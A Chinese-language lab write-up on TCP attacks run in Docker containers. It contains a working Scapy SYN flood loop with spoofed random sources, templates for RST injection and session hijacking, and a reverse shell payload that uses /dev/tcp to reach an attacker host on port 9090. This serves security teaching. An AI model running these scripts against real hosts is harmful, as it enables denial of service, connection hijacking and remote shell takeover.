目录
Container Setup and Commands
Download the Labsetup.zip file to your VM from the lab’s website, unzip it, enter the Labsetup folder.
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
// Aliases for the Compose commands above
$ dcbuild
$ dcup
$ dcdown
# Alias for: docker-compose build
# Alias for: docker-compose up
# Alias for: docker-compose down
$ dockps // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> // Alias for: docker exec -it <id> /bin/bash
$ dockps
b1004832e275 hostA-10.9.0.5
0af4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7
// The following example shows how to get a shell inside hostC
$ docksh 96
root@9652715c8e0a:/#
Task 1: SYN Flooding Attack
TCP SYN Flood攻击就是一种Dos攻击方式,利用的是在短时间内与Server建立多个TCP的半连接(未发送ACK数据包),因此Server在没有防御措施的情况下都会接收并建立连接等待ACK数据包。
抵御该模式的方式就是TCP cookies,在完成三次握手之前不会为任何一个连接分配资源。
(1)查看泛洪攻击前被攻击主机上的TCP链接的状态;
(2)关闭SYN Cookie,发起SYN泛洪攻击;
$ sysctl -a | grep syncookies #Display the SYN cookie flag)
$ sysctl -w net.ipv4.tcp_syncookies=0 #turn off SYN cookie)
$ sysctl -w net.ipv4.tcp_syncookies=1 #turn on SYN cookie)
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="*.*.*.*")
tcp = TCP(dport=**, flags=’S’)
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
(3)向受害机发起telnet连接,查看出现的情况;
(4)查看泛洪攻击后被攻击主机上的TCP链接的状态;
(5)在观察机上用Wireshark查看攻击机和受害机之间通信的数据包的情况;
(6)启动SYN Cookie后,再次发起泛洪攻击;
(7)再次向受害机发起telnet连接,查看出现的情况。
Task 2: TCP RST Attacks on telnet Connections
TCP的reset以及会话劫持攻击都是在已经建立的连接的基础上,通过嗅探到seq以及ack序列号以及相关信息从而伪造数据包,破坏连接。
(1)把第一个步骤的3个虚拟机分别作为客户机、服务器和攻击机;
(2)客户机用Telnet连接服务器;
(3)在攻击机上用Python代码分别发起对服务器复位攻击,并查看客户机上的telnet的连接情况。
由于docker中没有vim,可以在主机的volumes文件中创建编写python文件;或者在docker中安装vim
#安装vim
Apt-get update
Apt-get install vim
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=54256, dport=23, flags="R", seq=@@@@, ack=@@@@)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
flags字段:
F : FIN - 结束; 结束会话
S : SYN - 同步; 表示开始会话请求
R : RST - 复位;中断一个连接
P : PUSH - 推送; 数据包立即发送
A : ACK - 应答
Task 3: TCP Session Hijacking
(1)把第一个步骤的3个虚拟机分别作为客户机、服务器和攻击机;
服务器:user1
(2)在服务器上创建一个文件“new.txt”,这个文件将会在后续的会话劫持攻击中被删除;
(3)在客户机上telnet服务器,查看刚才创建的文件“new.txt”;
客户机:user2
(4)在攻击机上用Python代码发起会话劫持攻击,删除服务器上的“new.txt”;
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@, ack=@@@@)
data = "@@@@"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)
new.txt文件已经被删除:
(5)在客户机上使用刚才连接的telnet,看看有什么情况,并请说明原因。
会话被劫持后,原来的用户无法继续操作,无法发出或者接受信息,也无法退出。因为终端失去了正确的ack与seq。
Task 4: Creating Reverse Shell using TCP Session Hijacking
反向shell,即是攻击者通过nc建立一个tcp server,然后在会话劫持的基础上,可以让受害者执行命令把shell通过nc的端口反弹回攻击者的主机中,从而拿到了受害者机器的执行权限。
首先在Attacker中开启监听9090端口,从Server中反射回的shell会通过9090端口返回回来。
此处nc命令的使用是表示在Attacker中开启的是9090端口,也就是相当于启动了一个tcp服务,此服务监听了从9090端口输入进来的内容。
(1)把第一个步骤的3个虚拟机分别作为客户机、服务器和攻击机;
(2)在客户机上telent服务器;
(3)在攻击机上使用Python代码对服务器发起TCP的会话劫持攻击来创建“Reverse Shell”;
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@, ack=@@@@)
data = "@@@@"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)
#data
#创建反向shell
\r/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\x00
(4)在攻击机上通过ifconfig命令查看是否成功创建“Reverse Shell”;